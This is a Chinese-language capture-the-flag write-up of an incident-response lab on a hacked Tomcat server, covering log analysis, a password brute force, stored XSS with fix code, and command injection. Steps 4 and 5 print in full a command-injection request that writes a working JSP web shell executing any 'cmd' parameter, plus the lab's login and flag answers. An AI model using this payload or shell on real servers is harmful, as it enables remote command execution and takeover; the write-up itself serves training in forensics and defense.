文章目录
一、前言
小王在自己的服务器上安装配置了Tomcat,并写了几个简单的网页。但由于安全意识不足,很快就被攻击者利用了。请你帮他排查一下存在的安全问题
RDP 端口3389 用户名/密码:Administrator/4210bf@
二、索引

三、题目列表
步骤#1
Tomcat日志所在的绝对路径是?
首先连接目标电脑,在C盘中可以看到server目录,根据名字猜测是提供服务的

点进去可以看到tomcat目录

打开目录文件,在里面找到logs目录,然后复制路径即可

flag{C:\server\apache-tomcat-11.0.5\logs}
步骤#2
攻击者对某网站进行了口令爆破。请你判断口令成功匹配的请求的响应码是?
我们打开logs目录,可以看到里面有个日志占用空间较大

打开文件进行分析,前面是攻击者在进行目录扫描,然后后面有个关键的地方

这里攻击者访问了/demo/admin.jsp
,但是由于没有凭证随后重定向到登录界面,也就是login.jsp
,接着就开始对网站进行口令爆破

可以看到,在经历了大量了爆破之后也是成功登入了系统,状态码显示302,然后跳转到/demo/admin.jsp
因此判断口令成功匹配的响应码就是302
flag{302}
步骤#3
请你判断其服务器上用于盗取cookie而监听的端口是?
题目描述:攻击者向admin.jsp的管理员留言板界面发送了恶意JS代码从而构成了存储型XSS。已知攻击者试图盗取管理员cookie,并将其发送至其本地服务器上。
题目提示攻击者向admin.jsp
发送恶意代码,结合前面的日志,我们可知该文件位于/demo
目录里面

里面有个messages.txt
,打开后可以看到里面存储了管理员留言板接收到的信息

这个js语句就是攻击者用来窃取管理员cookie的,因此用来监听的端口就是5000
flag{5000}
接下来我们分析一下admin.jsp
中的漏洞代码,里面有个代码片段用于显示留言
java
<h2>所有留言</h2>
<ul>
<% if (messages != null && !messages.isEmpty()) {
for (String message : messages) {
%>
<li><%= message %></li>
<%
}
} %>
</ul>
其中关键就是<li><%= message %></li>
,它使用了 JSP 的表达式 <%= ... %>
直接将从文件中读取的 message
字符串未经任何处理就输出到 HTML 页面上
攻击者提交的留言内容会原封不动地保存到messages.txt
文件里,浏览器在解析 HTML 时,会把 <script>
标签当作可执行代码来运行,从而触发XSS漏洞
修复建议就是对输出的 message
变量进行HTML 实体编码
修复前:
java
<li><%= message %></li>
修复后:
java
<%@ page import="org.apache.commons.lang3.StringEscapeUtils" %>
// ...
<li><%= StringEscapeUtils.escapeHtml4(message) %></li>
或者使用JSTL标签库
首先在JSP页面顶部引入JSTL核心标签库
java
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
然后使用 <c:out>
标签来输出内容,它默认就会进行HTML编码
java
<c:forEach var="message" items="${messages}">
<li><c:out value="${message}" /></li>
</c:forEach>
步骤#4
攻击者利用执行系统命令的参数是?
回到刚才的log日志,在最下面可以看到有个文件传递了系统命令内容

该文件原本可能是用于接收IP地址并执行网络命令的(如 ping
或 traceroute
),攻击者没有输入一个正常的IP地址,而是通过命令连接符 &&
执行系统命令,因此参数就是ip
flag{ip}
步骤#5
攻击者通过某种手段遗留了后门文件,请你找到该文件并按需提交其文件中的flag
同样也是刚才的日志文件,看最下面那行的参数内容
ip=8.8.8.8+%26%26+echo+%5E%3C%25%40+page+language%3D%22java%22+import%3D%22java.util.*%2Cjava.io.*%22+%25%5E%3E%5E%3C%25+String+cmd+%3D+request.getParameter%28%22cmd%22%29%3B+if+%28cmd+%21%3D+null%29+%7B+Process+p+%3D+Runtime.getRuntime%28%29.exec%28cmd%29%3B+BufferedReader+reader+%3D+new+BufferedReader%28new+InputStreamReader%28p.getInputStream%28%29%29%29%3B+String+line%3B+while+%28%28line+%3D+reader.readLine%28%29%29+%21%3D+null%29+%7B+out.println%28line+%2B+%22%5E%3Cbr%5E%3E%22%29%3B+%7D+%7D+%25%5E%3E+%3E+C%3A%5Cserver%5Capache-tomcat-11.0.5%5Cwebapps%5CROOT%5Chello.jsp HTTP/1.1" 200 1349
URL解码,查看原始内容

ip=8.8.8.8 && echo ^<%@ page language="java" import="java.util.*,java.io.*" %^>^<% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line + "^<br^>"); } } %^> > C:\server\apache-tomcat-11.0.5\webapps\ROOT\hello.jsp HTTP/1.1" 200 1349
可以看到攻击者把代码写进了C:\server\apache-tomcat-11.0.5\webapps\ROOT\hello.jsp
我们简单分析这个后门代码
java
<%@ page language="java" import="java.util.*,java.io.*" %>
<%
// 从URL请求中获取名为 "cmd" 的参数
String cmd = request.getParameter("cmd");
// 如果 "cmd" 参数存在
if (cmd != null) {
// 在服务器上执行该参数的值作为一个系统命令
Process p = Runtime.getRuntime().exec(cmd);
// 读取该命令执行后的输出结果
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
// 将输出结果逐行打印到网页上
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
文件上传后,攻击者只需要访问/hello.jsp?cmd=
即可执行系统命令
我们找到这个文件,查看里面的内容

可以看到里面有个注释写了flag
/* 疑似flag? eW91bWFkZWl0 */
但是如果直接提交的话是不行的,需要进行base64解码后再提交

flag{youmadeit}